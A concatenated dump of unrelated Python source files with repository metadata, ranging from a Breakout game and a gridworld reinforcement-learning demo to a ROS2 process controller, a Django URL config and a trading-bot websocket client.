if random.random > 0.5: self.__dx = -self.__dx if random.random > 0.5: self.__dy = -self.__dy def window_border(self): ''' If the ball moved out of the window, the ball will bounce. :return: new __dx, __dy ''' if self.ball.x <= 0 or self.ball.x >= (self.window.width-BALL_RADIUS*2): self.__dx = -self.__dx elif self.ball.y <= 0: self.__dy = -self.__dy def move_to_bottom(self): ''' If the ball touched the bottom :return: boolean (True/False) ''' if self.ball.y >= (self.window.height-BALL_RADIUS*2): return True def back_to_start(self): ''' The ball moves back to the start point to restart the game. :return: ball.x , ball.y , __dx, __dy ''' self.ball.x = self.window.width/2-BALL_RADIUS self.ball.y = self.window.height/2 - BALL_RADIUS self.__dx = 0 self.__dy = 0 def bounce_ball(self): ''' if the ball hits the paddle, the ball will bounce. :return: new __dy ''' x = self.ball.x y = self.ball.y obj = self.window.get_object_at(x, y) obj2 = self.window.get_object_at(x+2*BALL_RADIUS, y) obj3 = self.window.get_object_at(x, y+2*BALL_RADIUS) obj4 = self.window.get_object_at(x+2*BALL_RADIUS, y+2*BALL_RADIUS) if obj3 == self.paddle: self.__dy = -self.__dy elif obj4 == self.paddle: self.__dy = -self.__dy elif obj == self.paddle: self.__dy = -self.__dy elif obj2 == self.paddle: self.__dy = -self.__dy def hit_brick(self): ''' If the ball hits the brick, the ball will bounce and the brick will be removed. :return: count, __dy, removed bricks ''' obj4 = self.window.get_object_at(self.ball.x,self.ball.y) obj5 = self.window.get_object_at(self.ball.x+2*BALL_RADIUS, self.ball.y) obj6 = self.window.get_object_at(self.ball.x, self.ball.y+2*BALL_RADIUS) obj7 = self.window.get_object_at(self.ball.x+2*BALL_RADIUS, self.ball.y+2*BALL_RADIUS) if obj4 != self.paddle and obj4 != None: self.window.remove(obj4) self.count += 1 self.__dy = -self.__dy elif obj5 != self.paddle and obj5 != None: self.__dy = -self.__dy self.count += 1 self.window.remove(obj5) elif obj6 != self.paddle and obj6 != None: self.__dy = -self.__dy self.count += 1 self.window.remove(obj6) elif obj7 != self.paddle and obj7 != None: self.__dy = -self.__dy self.count += 1 self.window.remove(obj7) def is_win_game(self): ''' If the game removed all the bricks :return: boolean (True/False) ''' if self.count == BRICK_ROWS*BRICK_COLS: return True def win_game(self): ''' If win, the game will over and the win-banner will appear. :return: sign2, label2 ''' sign2 = GRect(self.window.width, self.window.height, x=0, y=0) sign2.filled = True sign2.color = 'yellow' sign2.fill_color = 'yellow' self.window.add(sign2) label2 = GLabel('You win !', x=self.window.width/3.5, y=self.window.height/2) label2.font = 'Helvetica-35' label2.color = 'black' self.window.add(label2) def end_game(self): ''' If lose, the game will over and the lose-banner will appear. :return: sign, label ''' sign = GRect(self.window.width, self.window.height, x=0, y=0) sign.filled = True sign.color = 'red' sign.fill_color = 'red' self.window.add(sign) label = GLabel('You lose', x=self.window.width/3.5, y=self.window.height/2) label.font = 'Helvetica-35' label.color = 'black' self.window.add(label) # Getter def get_dx(self): return self.__dx # Getter def get_dy(self): return self.__dy # Getter def get_ball(self): return self.ball

33.941406

142

0.589711

1,176

8,689

4.167517

0.162415

0.071414

0.026525

0.024485

0.332177

0.289125

0.166293

0.117323

0.106917

0

0.019003

0.309587

8,689

255

143

34.07451

0.797966

0.214524

0

0.173333

0

0.015601

0

1

0.093333

false

0

0.026667

0.02

0.16

0

null

0

null

0

1

0

24727a12dfdb6e231648e565e4b96e1b20eb8aae

434

py

Python

python/src/algorithm/coding/set/setupdate.py

kakaba2009/MachineLearning

26b389f8ffb5f3af939dfc9ebfdf2c6b2fc2ae33

[ "Apache-2.0" ]

null

python/src/algorithm/coding/set/setupdate.py

kakaba2009/MachineLearning

26b389f8ffb5f3af939dfc9ebfdf2c6b2fc2ae33

[ "Apache-2.0" ]

null

python/src/algorithm/coding/set/setupdate.py

kakaba2009/MachineLearning

26b389f8ffb5f3af939dfc9ebfdf2c6b2fc2ae33

[ "Apache-2.0" ]

null

n = int(input()) s = set(map(int, input().split())) N = int(input()) for i in range(N): cmd = input() B = set(map(int, input().split())) if "symmetric_difference_update" in cmd: s.symmetric_difference_update(B) elif "intersection_update" in cmd: s.intersection_update(B) elif "difference_update" in cmd: s.difference_update(B) elif "update" in cmd: s.update(B) print(sum(s))

22.842105

44

0.615207

64

434

4.046875

0.328125

0.123552

0.169884

0.185328

0.316602

0

0.232719

434

18

45

24.111111

0.777778

0

0.158986

0.062212

0

1

0

false

0

0.066667

0

null

0

1

0

null

0

1

2472a45f4c27ad8a50bc1b6d23712affd350c953

4,329

py

Python

RemoteRunner/Controllers/ROS/ROS2Controller.py

StanSwanborn/robot-runner

4b8d294d403326b3027eb43e7f9d2b44276bce2b

[ "MIT" ]

1

2020-01-24T21:02:57.000Z

RemoteRunner/Controllers/ROS/ROS2Controller.py

StanSwanborn/robot-runner

4b8d294d403326b3027eb43e7f9d2b44276bce2b

[ "MIT" ]

null

RemoteRunner/Controllers/ROS/ROS2Controller.py

StanSwanborn/robot-runner

4b8d294d403326b3027eb43e7f9d2b44276bce2b

[ "MIT" ]

1

2020-04-06T14:18:39.000Z

import time from pathlib import Path from Procedures.ProcessProcedure import ProcessProcedure from Controllers.ROS.IROSController import IROSController from Procedures.OutputProcedure import OutputProcedure as output ### ========================================================= ### | | ### | ROS2Controller | ### | - Define communications with ROS2 | ### | - ROS2 does not need a roscore process | ### | - Launch a launch file (.launch.py) | ### | - Start ros2 bag recording of topics | ### | - Stop is automatic (for now) | ### | - Define graceful shutdown procedure | ### | for both Native and Sim runs | ### | | ### | * Any function which is implementation | ### | specific (ROS2) should be declared here | ### | | ### ========================================================= class ROS2Controller(IROSController): def roscore_start(self): pass # ROS2 does not have / need roscore. def rosbag_stop_recording_topics(self, bag_name): pass # TODO: For now OK, needs to terminate ros2bag process in future. def roslaunch_launch_file(self, launch_file: Path): output.console_log(f"ros2 launch {launch_file}") command = f"ros2 launch {launch_file}" self.roslaunch_proc = ProcessProcedure.subprocess_spawn(command, "ros2_launch_file") def rosbag_start_recording_topics(self, topics, file_path, bag_name): file_path += "-ros2" output.console_log(f"Rosbag2 starts recording...") output.console_log_bold("Recording topics: ") # Build 'rosbag record -O filename [/topic1 /topic2 ...] __name:=bag_name' command command = f" ros2 bag record --output {file_path}" for topic in topics: command += f" {topic}" output.console_log_bold(f" * {topic}") ProcessProcedure.subprocess_spawn(command, "ros2bag_record") time.sleep(1) # Give rosbag recording some time to initiate def sim_shutdown(self): output.console_log("Shutting down sim run...") ProcessProcedure.subprocess_call("ros2 service call /reset_simulation std_srvs/srv/Empty {}", "ros2_reset_call") ProcessProcedure.process_kill_by_name("gzserver") ProcessProcedure.process_kill_by_name("gzclient") ProcessProcedure.process_kill_by_name("_ros2_daemon") ProcessProcedure.process_kill_by_name("ros2") ProcessProcedure.process_kill_by_cmdline("/opt/ros/") while ProcessProcedure.process_is_running("gzserver") or \ ProcessProcedure.process_is_running("gzclient") or \ ProcessProcedure.process_is_running("ros2") or \ ProcessProcedure.process_is_running("_ros2_daemon"): output.console_log_animated("Waiting for graceful exit...") output.console_log("Sim run successfully shutdown!") def native_shutdown(self): output.console_log("Shutting down native run...") # TODO: Implement this, impossible as of now because of know Linux Kernel bug # on ARM devices. Raspberry Pi overheats and crashes due to inability to throttle CPU. # Get all nodes, for each node ros2 lifecycle nodename shutdown pass # ======= ROS 1 ======= # output.console_log("Shutting down native run...") # ProcessProcedure.subprocess_call('rosnode kill -a', "rosnode_kill") # ProcessProcedure.process_kill_by_name('rosmaster') # ProcessProcedure.process_kill_by_name('roscore') # ProcessProcedure.process_kill_by_name('rosout') # # while ProcessProcedure.process_is_running('rosmaster') and \ # ProcessProcedure.process_is_running('roscore') and \ # ProcessProcedure.process_is_running('rosout'): # output.console_log_animated("Waiting for roscore to gracefully exit...") # # output.console_log("Native run successfully shutdown!")

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null

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null

0

1

0

1

0

2

24740d66448ac9fd6d0157a46216f7339a2b5d04

6,035

py

Python

cosine_similarity.py

caikehe/YELP_DS

c9baa8626a22d6aca2a786e221bff5e184e521d7

[ "Apache-2.0" ]

null

cosine_similarity.py

caikehe/YELP_DS

c9baa8626a22d6aca2a786e221bff5e184e521d7

[ "Apache-2.0" ]

null

cosine_similarity.py

caikehe/YELP_DS

c9baa8626a22d6aca2a786e221bff5e184e521d7

[ "Apache-2.0" ]

null

import io, json, random import matplotlib.pyplot as plt from sklearn.metrics.pairwise import pairwise_distances from matplotlib.backends.backend_pdf import PdfPages def drawCOSFigure(features, output): histogram1Star = [] histogram2Star = [] histogram3Star = [] histogram4Star = [] histogram5Star = [] nSamples = 100 metricType = 'cosine' with open("data/output/cosine_similarity/histogram_1star.json") as oneStarFile: data = json.load(oneStarFile) for i, item in enumerate(data): if i > nSamples: break histogram1Star.append(list(item["histogram"][i] for i in features)) with open("data/output/cosine_similarity/histogram_2star.json") as twoStarFile: data = json.load(twoStarFile) for i, item in enumerate(data): if i > nSamples: break histogram2Star.append(list(item["histogram"][i] for i in features)) with open("data/output/cosine_similarity/histogram_3star.json") as threeStarFile: data = json.load(threeStarFile) for i, item in enumerate(data): if i > nSamples: break histogram3Star.append(list(item["histogram"][i] for i in features)) with open("data/output/cosine_similarity/histogram_4star.json") as fourStarFile: data = json.load(fourStarFile) for i, item in enumerate(data): if i > nSamples: break histogram4Star.append(list(item["histogram"][i] for i in features)) with open("data/output/cosine_similarity/histogram_5star.json") as fiveStarFile: data = json.load(fiveStarFile) for i, item in enumerate(data): if i > nSamples: break histogram5Star.append(list(item["histogram"][i] for i in features)) matrix1Star = pairwise_distances(histogram1Star, Y=None, metric=metricType, n_jobs=1) matrix2Star = pairwise_distances(histogram2Star, Y=None, metric=metricType, n_jobs=1) matrix3Star = pairwise_distances(histogram3Star, Y=None, metric=metricType, n_jobs=1) matrix4Star = pairwise_distances(histogram4Star, Y=None, metric=metricType, n_jobs=1) matrix5Star = pairwise_distances(histogram5Star, Y=None, metric=metricType, n_jobs=1) length = nSamples x_array1Star = [] y_array1Star = [] x_array2Star = [] y_array2Star = [] x_array3Star = [] y_array3Star = [] x_array4Star = [] y_array4Star = [] x_array5Star = [] y_array5Star = [] left = -0.49 right = 0.49 for i in xrange(0, length): for j in xrange(i, length): x = 0.5 + random.uniform(left, right) y = 1- matrix1Star[i][j] x_array1Star.append(x) y_array1Star.append(y) for i in xrange(0, length): for j in xrange(i, length): x = 1.5 + random.uniform(left, right) y = 1- matrix2Star[i][j] x_array2Star.append(x) y_array2Star.append(y) for i in xrange(0, length): for j in xrange(i, length): x = 2.5 + random.uniform(left, right) y = 1- matrix3Star[i][j] x_array3Star.append(x) y_array3Star.append(y) for i in xrange(0, length): for j in xrange(i, length): x = 3.5 + random.uniform(left, right) y = 1- matrix4Star[i][j] x_array4Star.append(x) y_array4Star.append(y) for i in xrange(0, length): for j in xrange(i, length): x = 4.5 + random.uniform(left, right) y = 1- matrix5Star[i][j] x_array5Star.append(x) y_array5Star.append(y) pp = PdfPages(output) plt.figure() plt.plot(x_array1Star, y_array1Star, 'ro', markersize=2.0) plt.plot(x_array2Star, y_array2Star, 'ro', markersize=2.0) plt.plot(x_array3Star, y_array3Star, 'ro', markersize=2.0) plt.plot(x_array4Star, y_array4Star, 'ro', markersize=2.0) plt.plot(x_array5Star, y_array5Star, 'ro', markersize=2.0) plt.axis([0, 5, 0, 1]) plt.axvline(x=1, ymin=0, ymax = 1, linewidth=1, color='r') plt.axvline(x=2, ymin=0, ymax = 1, linewidth=1, color='r') plt.axvline(x=3, ymin=0, ymax = 1, linewidth=1, color='r') plt.axvline(x=4, ymin=0, ymax = 1, linewidth=1, color='r') plt.axvline(x=5, ymin=0, ymax = 1, linewidth=1, color='r') #plt.show() plt.savefig(pp, format='pdf') pp.close() def main(): features = [] features1 = [0, 1, 2, 3, 4, 5, 8] features2 = [0, 1, 2, 3, 4, 5, 8, 9, 10, 11] features3 = [0, 1, 2, 3, 4, 5, 8, 14, 15, 16, 17, 18, 19] features4 = [0, 1, 2, 3, 4, 5, 8, 9, 10, 11, 14, 15, 16, 17, 18, 19] features5 = [6, 7, 8] features6 = [6, 7, 8, 9, 10, 11] features7 = [6, 7, 8, 14, 15, 16, 17, 18, 19] features8 = [6, 7, 8, 9, 10, 11, 14, 15, 16, 17, 18, 19] features9 = [12, 13, 8] features10 = [12, 13, 8, 9, 10, 11] features11 = [12, 13, 8, 14, 15, 16, 17, 18, 19] features12 = [12, 13, 8, 9, 10, 11, 14, 15, 16, 17, 18, 19] features13 = [20, 21, 22, 23, 24] features14 = [20, 21, 22, 23, 24, 9, 10, 11] features15 = [20, 21, 22, 23, 24, 14, 15, 16, 17, 18, 19] features.append(features1) features.append(features2) features.append(features3) features.append(features4) features.append(features5) features.append(features6) features.append(features7) features.append(features8) features.append(features9) features.append(features10) features.append(features11) features.append(features12) features.append(features13) features.append(features14) features.append(features15) print(features) for i in xrange(1, 16): print(i) output = 'report/refs/COS/multipage' + str(i) + '.pdf' drawCOSFigure(features[i-1], output) if __name__ == "__main__": main()

34.485714

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804

6,035

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0.018141

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0.013889

0

null

0

null

0

1

0

247640d80add47e8ea829bcb77b7fb6e623ffeff

579

py

Python

cobu/constants.py

tlancaster6/cobu

444f249bdec5b009858011002fa0782520891e2b

[ "MIT" ]

null

cobu/constants.py

tlancaster6/cobu

444f249bdec5b009858011002fa0782520891e2b

[ "MIT" ]

null

cobu/constants.py

tlancaster6/cobu

444f249bdec5b009858011002fa0782520891e2b

[ "MIT" ]

null

import os try: from importlib.metadata import metadata # Python 3.8 except ImportError: from importlib_metadata import metadata # Python < 3.8 COBU_DIR = os.path.dirname(os.path.abspath(__file__)) BASE_DIR = os.path.dirname(COBU_DIR) DATA_DIR = os.path.join(BASE_DIR, 'data') # package metadata _META = metadata("cobu") NAME = _META["name"] VERSION = _META["version"] DESCRIPTION = _META["summary"] AUTHOR = _META["author"] AUTHOR_EMAIL = _META["author-email"] URL = _META["home-page"] LICENSE = _META["license"] VERSION_LONG = "FiftyOne v%s, %s" % (VERSION, AUTHOR)

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0

0.235294

0

null

0

null

0

1

0

247809f8e798b2d4ad909e369111e3462830ca09

2,339

py

Python

wandroid/devices/utils.py

westurner/wandroid

f05e085f1f9d722b69c321bf8bd7320a8fa9f93e

[ "BSD-3-Clause" ]

null

wandroid/devices/utils.py

westurner/wandroid

f05e085f1f9d722b69c321bf8bd7320a8fa9f93e

[ "BSD-3-Clause" ]

null

wandroid/devices/utils.py

westurner/wandroid

f05e085f1f9d722b69c321bf8bd7320a8fa9f93e

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python # encoding: utf-8 from __future__ import print_function """ wandroid devices """ import pkg_resources import wandroid.adbw as adbw def get_devices(): """ mainfunc """ entry_points = pkg_resources.iter_entry_points(group='wandroid_devices') for ep in entry_points: yield ep.name, ep.load() def list_devices(): print('installed wandroid.device packages\n' '----------------------------------') devices = get_devices() for name, cls in devices: print(name, cls) print('') print('adb devices\n' '-----------') adbw.adb('devices') print('') import unittest class Test_wandroid_devices(unittest.TestCase): def test_get_devices(self): devices = get_devices() devices = list(devices) self.assertTrue(bool(len(devices))) def main(): import logging import optparse import os.path import sys # TODO: argparse if '-d' in sys.argv: devname = sys.argv[2] devices = dict(get_devices()) if devname not in devices: raise Exception("%r not in %r" % (devname, devices.keys())) cls = devices.get(devname) scriptname = os.path.basename(cls.__module__) newargs = [scriptname] + sys.argv[3:] print(newargs) return cls.main(*newargs) prs = optparse.OptionParser(usage="%prog : args") prs.add_option('-l', '--list-devices', dest='list_devices', action='store_true', help='List supported devices') prs.add_option('-v', '--verbose', dest='verbose', action='store_true',) prs.add_option('-q', '--quiet', dest='quiet', action='store_true',) prs.add_option('-t', '--test', dest='run_tests', action='store_true',) (opts, args) = prs.parse_args() if not opts.quiet: logging.basicConfig() if opts.verbose: logging.getLogger().setLevel(logging.DEBUG) if opts.run_tests: sys.argv = [sys.argv[0]] + args import unittest sys.exit(unittest.main()) if opts.list_devices: list_devices() if __name__ == "__main__": import sys sys.exit(main())

24.364583

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4.80916

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0.104478

0

null

0

null

0

1

0

1

2479d7af5d28d64ede7ccc8bebd1054c83190763

885

py

Python

params_flow/utils/learn_scheduler.py

kpe/params-flow

5857dfd67cf15e89803e5987316c81fe6c4cc54d

[ "MIT" ]

23

2019-06-08T17:24:05.000Z

2022-01-16T17:53:15.000Z

params_flow/utils/learn_scheduler.py

kpe/params-flow

5857dfd67cf15e89803e5987316c81fe6c4cc54d

[ "MIT" ]

null

params_flow/utils/learn_scheduler.py

kpe/params-flow

5857dfd67cf15e89803e5987316c81fe6c4cc54d

[ "MIT" ]

4

2019-09-29T07:25:24.000Z

2020-11-25T15:02:15.000Z

# coding=utf-8 # # created by kpe on 10.08.2019 at 12:39 AM # from __future__ import division, absolute_import, print_function import math from tensorflow import keras def create_one_cycle_lr_scheduler(max_learn_rate=5e-5, end_learn_rate=1e-7, warmup_epoch_count=10, total_epoch_count=90): def lr_scheduler(epoch): if epoch < warmup_epoch_count: res = (max_learn_rate / warmup_epoch_count) * (epoch + 1) else: k = math.log(end_learn_rate / max_learn_rate) / (total_epoch_count - warmup_epoch_count) res = max_learn_rate * math.exp(k * (epoch - warmup_epoch_count)) return float(res) learning_rate_scheduler = keras.callbacks.LearningRateScheduler(lr_scheduler, verbose=1) return learning_rate_scheduler

30.517241

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885

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0.08

0.118095

0

0.03645

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885

28

101

31.607143

0.795563

0.059887

0

1

0.125

false

0

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0

0.4375

0.0625

0

null

0

null

0

1

0

247aaaa9afe8af3944f0215ec29353a612a9ac89

445

py

Python

cegid/apps/main/urls.py

vsoch/tcell

3c4a19e5c78f1a36a2fe5e0f3229d1d70ef3a2c6

[ "MIT" ]

null

cegid/apps/main/urls.py

vsoch/tcell

3c4a19e5c78f1a36a2fe5e0f3229d1d70ef3a2c6

[ "MIT" ]

9

2016-08-04T22:56:21.000Z

2016-08-17T20:55:57.000Z

cegid/apps/main/urls.py

vsoch/tcell

3c4a19e5c78f1a36a2fe5e0f3229d1d70ef3a2c6

[ "MIT" ]

1

2016-10-11T04:22:52.000Z

from django.views.generic.base import TemplateView from django.conf.urls import patterns, url from .views import index_view, signup_view, about_view, search_view, \ home_view, contact_view urlpatterns = [ url(r'^$', index_view, name="index"), url(r'^search$', search_view, name="search"), url(r'^contact$', contact_view, name="contact"), url(r'^about$', about_view, name="about"), url(r'^home$', home_view, name="home") ]

34.230769

70

0.694382

64

445

4.65625

0.328125

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0

0.137079

445

12

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0.776042

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0

0.272727

0

0.272727

0

null

0

null

0

1

0

247b0f2580310cad3e1f381e524fdce487e2bc44

212

py

Python

students/K33422/Larionova Anastasia/lab 1/task1_client.py

ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021

bb91c91a56d21cec2b12ae4cc722eaa652a88420

[ "MIT" ]

4

2020-09-03T15:41:42.000Z

2021-12-24T15:28:20.000Z

students/K33422/Larionova Anastasia/lab 1/task1_client.py

ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021

bb91c91a56d21cec2b12ae4cc722eaa652a88420

[ "MIT" ]

48

2020-09-13T20:22:42.000Z

2021-04-30T11:13:30.000Z

students/K33422/Larionova Anastasia/lab 1/task1_client.py

ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021

bb91c91a56d21cec2b12ae4cc722eaa652a88420

[ "MIT" ]

69

2020-09-06T10:32:37.000Z

2021-11-28T18:13:17.000Z

import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('localhost', 7777)) sock.send('Hello, server! :)'.encode('utf-8')) d = sock.recv(1024) print(d.decode('utf-8')) sock.close()

21.2

56

0.70283

33

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4.454545

0.636364

0.136054

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0.051546

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212

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0

0.142857

0

null

0

null

0

1

0

247dc70e6437fecc8408f5935f960b8ac070e582

5,589

py

Python

chapter-4/gridworld.py

epignatelli/Reinforcement-Learning-An-Introduction_exercises

e260cacdb1ec8e51af46da4031054d4c6771322c

[ "MIT" ]

6

2020-12-13T00:34:40.000Z

2022-03-05T03:58:46.000Z

chapter-4/gridworld.py

epignatelli/Reinforcement-Learning-An-Introduction_exercises

e260cacdb1ec8e51af46da4031054d4c6771322c

[ "MIT" ]

null

chapter-4/gridworld.py

epignatelli/Reinforcement-Learning-An-Introduction_exercises

e260cacdb1ec8e51af46da4031054d4c6771322c

[ "MIT" ]

4

2021-02-03T06:32:24.000Z

2021-09-14T22:46:51.000Z

# MIT License # Copyright (c) 2020 Eduardo Pignatelli # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import matplotlib import numpy as np import matplotlib.pyplot as plt import seaborn as sn from matplotlib.colors import LinearSegmentedColormap W = LinearSegmentedColormap.from_list('w', ["w", "w"], N=256) ACTIONS = { 0: [1, 0], # north 1: [-1, 0], # south 2: [0, -1], # west 3: [0, 1], # east } class GridWorld: def __init__(self, size=4): """ A gridworld environment with absorbing states at [0, 0] and [size - 1, size - 1]. Args: size (int): the dimension of the grid in each direction cell_reward (float): the reward return after extiting any non absorbing state """ self.state_value = np.zeros((size, size)) return def reset(self): self.state_value = np.zeros((size, size)) return def step(self, state, action): # is terminal state? size = len(self.state_value) - 1 if (state == (0, 0)) or (state == (size, size)): return state, 0 s_1 = (state[0] + action[0], state[1] + action[1]) reward = -1 # out of bounds north-south if s_1[0] < 0 or s_1[0] >= len(self.state_value): s_1 = state # out of bounds east-west elif s_1[1] < 0 or s_1[1] >= len(self.state_value): s_1 = state return s_1, reward def render(self, title=None): """ Displays the current value table of mini gridworld environment """ size = len(self.state_value) if len(self.state_value) < 20 else 20 fig, ax = plt.subplots(figsize=(size, size)) if title is not None: ax.set_title(title) ax.grid(which='major', axis='both', linestyle='-', color='k', linewidth=2) sn.heatmap(self.state_value, annot=True, fmt=".1f", cmap=W, linewidths=1, linecolor="black", cbar=False) plt.show() return fig, ax def bellman_expectation(self, state, probs, discount): """ Makes a one step lookahead and applies the bellman expectation equation to the state self.state_value[state] Args: state (Tuple[int, int]): the x, y indices that define the address on the value table probs (List[float]): transition probabilities for each action in_place (bool): if False, the value table is updated after all the new values have been calculated. if True the state [i, j] will new already new values for the states [< i, < j] Returns: (numpy.ndarrray): the new value for the specified state """ # absorbing state value = 0 for c, action in ACTIONS.items(): s_1, reward = self.step(state, action) value += probs[c] * (reward + discount * self.state_value[s_1]) return value def policy_evaluation(env, policy=None, steps=1, discount=1., in_place=False): """ Args: policy (numpy.array): a numpy 3-D numpy array, where the first two dimensions identify a state and the third dimension identifies the actions. The array stores the probability of taking each action. steps (int): the number of iterations of the algorithm discount (float): discount factor for the bellman equations in_place (bool): if False, the value table is updated after all the new values have been calculated. if True the state [i, j] will new already new values for the states [< i, < j] """ if policy is None: # uniform random policy policy = np.ones((*env.state_value.shape, len(ACTIONS))) * 0.25 for k in range(steps): # cache old values if not in place values = env.state_value if in_place else np.empty_like( env.state_value) for i in range(len(env.state_value)): for j in range(len(env.state_value[i])): # apply bellman expectation equation to each state state = (i, j) value = env.bellman_expectation(state, policy[i, j], discount) values[i, j] = value * discount # set the new value table env.state_value = values return env.state_value if __name__ == "__main__": # reprocuce Figure 4.1 for k in [1, 2, 3, 10, 1000]: env = GridWorld(4) env.render() value_table = policy_evaluation(env, steps=k, in_place=False) env.render()

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247eb44c889ef4965c1c10cc694955ebaa4b8ea6

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py

Python

client.py

esperantomerkato/tuner

b3998f6bcaf8acd1b541e2aa0670e0f0a0a8eb7d

[ "BSD-Source-Code" ]

null

client.py

esperantomerkato/tuner

b3998f6bcaf8acd1b541e2aa0670e0f0a0a8eb7d

[ "BSD-Source-Code" ]

null

client.py

esperantomerkato/tuner

b3998f6bcaf8acd1b541e2aa0670e0f0a0a8eb7d

[ "BSD-Source-Code" ]

null

import asyncio import json import websockets from merkato.merkato_config import get_config from merkato.parser import parse from merkato.utils.database_utils import no_merkatos_table_exists, create_merkatos_table, drop_merkatos_table, \ no_exchanges_table_exists, create_exchanges_table, drop_exchanges_table import logging log = logging.getLogger("client") """ Merkato WebSocket CLI client. This demonstrates the behavior that will eventually be moved to a Javascript GUI client. Establish a connection to server, get user input, send config to server, and loop awaiting updates from server. (In the GUI, it'll also loop awaiting user action e.g. button clicks.) """ async def client(url): async with websockets.connect(url) as ws: log.info("Connected.") try: merkato_params = get_merkato_params_from_user() log.info("Sending Merkato params {}".format(merkato_params)) await ws.send(json.dumps({'merkato_params': merkato_params})) while True: msg = await ws.recv() print("Received {}".format(msg)) except websockets.ConnectionClosed: log.error("Server unexpectedly closed connection, investigate.") exit(1) def get_merkato_params_from_user(): print("Merkato Alpha v0.1.1\n") if no_merkatos_table_exists(): create_merkatos_table() else: should_drop_merkatos = input('Do you want to drop merkatos? y/n: ') if should_drop_merkatos == 'y': drop_merkatos_table() create_merkatos_table() if no_exchanges_table_exists(): create_exchanges_table() else: should_drop_exchanges = input('Do you want to drop exchanges? y/n: ') if should_drop_exchanges == 'y': drop_exchanges_table() create_exchanges_table() configuration = parse() if not configuration: configuration = get_config() if not configuration: raise Exception("Failed to get configuration.") base = input("Base: ") coin = input("Coin: ") spread = input("Spread: ") coin_reserve = input("Coin reserve: ") base_reserve = input("Base reserve: ") return { 'configuration': configuration, 'base': base, 'coin': coin, 'spread': float(spread), 'bid_reserved_balance': float(base_reserve), 'ask_reserved_balance': float(coin_reserve) } if __name__ == "__main__": url = "ws://localhost:5678" asyncio.get_event_loop().run_until_complete(client(url))

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null

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24801d3763c6b4f5d5fdf3b1bc18bbe2654427a3

356

py

Python

application/web/helper.py

satan1a/poopak

9862f09edc22c030db520e317020b54a36e070ac

[ "curl" ]

91

2019-01-17T13:35:49.000Z

2022-03-30T21:16:37.000Z

application/web/helper.py

satan1a/poopak

9862f09edc22c030db520e317020b54a36e070ac

[ "curl" ]

13

2019-01-13T14:35:51.000Z

2021-04-26T05:13:42.000Z

application/web/helper.py

satan1a/poopak

9862f09edc22c030db520e317020b54a36e070ac

[ "curl" ]

33

2019-01-17T13:37:22.000Z

2022-03-25T09:35:54.000Z

import re def extract_onions(s): result = [] print(s) for m in re.finditer(r'(?:https?://)?(?:www)?(\S*?\.onion)\b', s, re.M | re.IGNORECASE): url = str(m.group(0)) # url = url[len(url) - 22:] # if "'" in url: # url = url[url.index("'")+1:] result.append(url) print(result) return result

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2484b713073294f833a7aedb426225a3f08b5595

299

py

Python

__init__.py

d-we/binja-golang-symbol-restore

251cc45cab66512fd404eaf69ec6e018684aa5d4

[ "MIT" ]

9

2020-06-15T09:14:18.000Z

2021-12-30T19:39:33.000Z

__init__.py

d-we/binja-golang-symbol-restore

251cc45cab66512fd404eaf69ec6e018684aa5d4

[ "MIT" ]

3

2020-06-10T03:29:26.000Z

2021-02-08T19:25:51.000Z

__init__.py

d-we/binja-golang-symbol-restore

251cc45cab66512fd404eaf69ec6e018684aa5d4

[ "MIT" ]

3

2020-08-15T16:01:14.000Z

2020-10-14T21:48:32.000Z

import binaryninja from .golang_symbol_restore import restore_golang_symbols binaryninja.plugin.PluginCommand.register("Restore Golang Symbols", "Fill region with breakpoint instructions.", restore_golang_symbols)

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